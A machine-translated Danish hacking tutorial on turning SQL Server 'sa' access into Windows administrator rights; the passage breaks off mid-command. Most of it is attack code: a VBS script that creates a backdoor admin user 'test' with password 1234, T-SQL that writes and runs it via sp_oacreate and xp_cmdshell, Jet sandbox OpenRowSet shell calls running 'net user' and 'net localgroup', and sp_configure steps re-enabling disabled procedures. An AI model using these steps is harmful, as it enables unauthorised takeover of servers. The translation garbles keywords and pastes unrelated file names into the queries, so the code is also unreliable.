Microsoft SQL Server SA tilladelse seneste invasive metode



SA adgangskode for at få adgang til, ofte fordi serveren administrator eller "tidligere" vil net.exe og net1.exe er begrænset til at bruge administrator konto kan ikke tilføjes. Vi ved, at VBS i Active Directory (ADSI) del af en winnt objekt, der anvendes til at forvalte de lokale ressourcer, bruge det og kan derfor ikke stole på CMD kommando kan tilføje en administrator, den specifikke kode som følger:

sæt wsnetwork = CreateObject ("WSCRIPT.NETWORK")

os = "WinNT ://"& wsnetwork.ComputerName

Set ob = GetObject (OS) »få ADSI interface, bindende

Set oe = GetObject (OS & "/ Administratorer, gruppen") 'ejendom, admin gruppe

Set od = ob.Create ("bruger", "test") 'oprette en bruger

od.SetPassword "1234" 'Set Password

od.SetInfo 'Gem

Set af = GetObject (OS & "/ test", bruger) 'får brugeren

oe.add os & "/ test"

Ovenstående kode til at gemme 1.vbs, derefter køre kommandoen til "cscript 1.vbs", så systemet vil tilføje et system kaldet testen, den bruger password er 1234. Konkrete gennemførelse af koden i Query Analyzer som følger:

erklære @ o int, @ f int, @ t int, @ RET int

exec sp_oacreate 'Scripting.FileSystemObject', @ o ud

exec sp_oamethod @ o, 'createtextfile', @ f ud, «c: 1.vbs ', 1

exec @ RET = sp_oamethod @ f, 'writeline', NULL, 'sæt wsnetwork = CreateObject

("WSCRIPT.NETWORK") '

exec @ RET = sp_oamethod @ f, 'writeline', NULL, 'os = "WinNT ://"& wsnetwork.

Computernavn "

exec @ RET = sp_oamethod @ f, 'writeline', NULL, 'Set ob = GetObject (OS) »

exec @ RET = sp_oamethod @ f, 'writeline', NULL, 'Set oe = GetObject

(Os & "/ Administratorer, gruppen") '

exec @ RET = sp_oamethod @ f, 'writeline', NULL, 'Set od = ob.Create

("Bruger", "test") '

exec @ RET = sp_oamethod @ f, 'writeline', NULL, 'od.SetPassword "1234" "

exec @ RET = sp_oamethod @ f, 'writeline', NULL, 'od.SetInfo'

exec @ RET = sp_oamethod @ f, 'writeline', NULL, 'Set of = GetObject

(Os & "/ test", bruger) '

exec @ RET = sp_oamethod @ f, 'writeline', NULL, 'oe.add os & "/ test"'

Gennem ovenstående redegørelse, kør derefter følgende linje kode, skal denne linje separate gennemførelsen, ikke med gennemførelsen af ovenstående sammen, ellers vil det lynhurtig "c: 1.vbs køres af en anden program" kan ikke med held tilføje brugeren :

exec master .. xp_cmdshell «cscript c: 1.vbs '

Hvis systemet brugeren ikke har tilføjet, kan det være, fordi systemet brugerens password 1234 er alt for simpelt, ikke opfylder de komplekse password politik server, overveje at fastsætte mere kompliceret, og derefter teste. Du kan også bruge echo til at skrive 1.vbs kode, koden format er:

exec master .. xp_cmdshell 'ekko sæt wsnetwork = CreateObject ("WSCRIPT.NETWORK")

1.vbs '

Men ved ikke, hvorfor alle med "&" tegn i kommandolinjer kan ikke skrive 1.vbs, interesseret i, hvad en ven kan forsøge at løse.

Brug jet sand bordmodel kan løses XP_cmdshell andre lagrede procedurer og relevante dynamisk samkøre bibliotek ærgrelse. Af sikkerhedsmæssige årsager, fungerer systemet ikke standard at åbne sandkassetilstand, som kræver xp_regwrite åben sandkassetilstand:

Exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWAREMicrosoftJet4.0

Motorer ',' SandBoxMode ',' REG_DWORD ', 1

Så kører sand tabellen kommandoen, at systemet tilføjer en bruger ved navn test, adgangskoden til 1234 brugere:

vælg backup bin conf config data eshow_sitemap.html generate.sh log maint sitemap.html svn tmp fra kommandoen OpenRowSet (»microsoft.jet.oledb.4.0 ','; database = c: windows

system32iasias.mdb ',' Vælg shell ("cmd.exe / c net user test 1234 / add") ')

vælg backup bin conf config data eshow_sitemap.html generate.sh log maint sitemap.html svn tmp fra kommandoen OpenRowSet (»microsoft.jet.oledb.4.0 ','; database = c: windows

system32iasias.mdb ',' Vælg shell ("cmd.exe / c net localgroup

administratorer test / add ") ')

Forskellige operativsystemer, stien er ikke det samme behov for at foretage ændringer i situationen:

NT/2K: c: winntsystem32
XP/2003: c: windowssystem32
En anden Microsoft SQL Server2005 i standard, nogle af de lagrede procedure er lukket, og kræver en kommando til at åbne:

Åben XP_cmdshell:

EXEC sp_configure 'vis avancerede indstillinger', 1; omkonfigurere; EXEC sp_configure

»Xp_cmdshell ', 1; reconfigure;

Åbn 'kommandoen OpenRowSet «:

exec sp_configure 'vis avancerede indstillinger', 1; omkonfigurere; exec sp_configure

»Ad Hoc Distributed Queries«, 1; reconfigure;

Åbn 'sp_oacreate «:

exec sp_configure 'vis avancerede indstillinger', 1; omkonfigurere; exec sp